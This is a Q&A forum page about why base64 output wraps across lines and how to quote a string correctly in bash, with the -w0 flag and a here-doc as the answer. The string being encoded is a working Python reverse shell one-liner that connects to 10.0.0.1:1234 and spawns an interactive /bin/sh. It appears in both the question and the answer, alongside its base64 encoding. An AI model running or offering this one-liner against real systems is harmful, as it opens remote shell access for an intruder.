pythonic12
pythonic12

Reputation: 51

How to escape quotes in base64 encoded string in bash?

So I'm trying to base64 encode a string containing a python one liner program.

How could one escape whatever is splitting up the base64 encoded string into multiple lines? I'm assuming it's the quotes. " ' "

This is what I've tried:

    echo "python -c 'import socket,subprocess,os; 
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); 
    s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); 
    os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); 
    p=subprocess.call(["/bin/sh","-i"]);'" | base64

It outputs:

cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7IHM9c29ja2V0LnNvY2tldChz 
b2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgcy5jb25uZWN0KCgxMC4wLjAuMSwx 
MjM0KSk7IG9zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5k 
dXAyKHMuZmlsZW5vKCksMik7IHA9c3VicHJvY2Vzcy5jYWxsKFsvYmluL3NoLC1pXSk7Jwo=

Upvotes: 2

Views: 5285

Answers (1)

Socowi
Socowi

Reputation: 27255

whatever is splitting up the base64 encoded string into multiple lines?

Linebreaks are inserted based on the output length and not based on special symbols in the input. See man base64:

-w, --wrap=COLS wrap encoded lines after COLS character (default 76). Use 0 to disable line wrapping

Therefore you can write echo someString | base64 -w0.

Please note that bash may mangle your string if you don't quote it correctly. In your case the " in subprocess.call(["/bin/sh","-i"]) are swallowed by bash and not printed by echo. Either write \" or use a here-doc:

base64 -w0 <<'EOF'
python -c 'import socket,subprocess,os; 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); 
s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); 
p=subprocess.call(["/bin/sh","-i"]);'
EOF

Upvotes: 1

Related Questions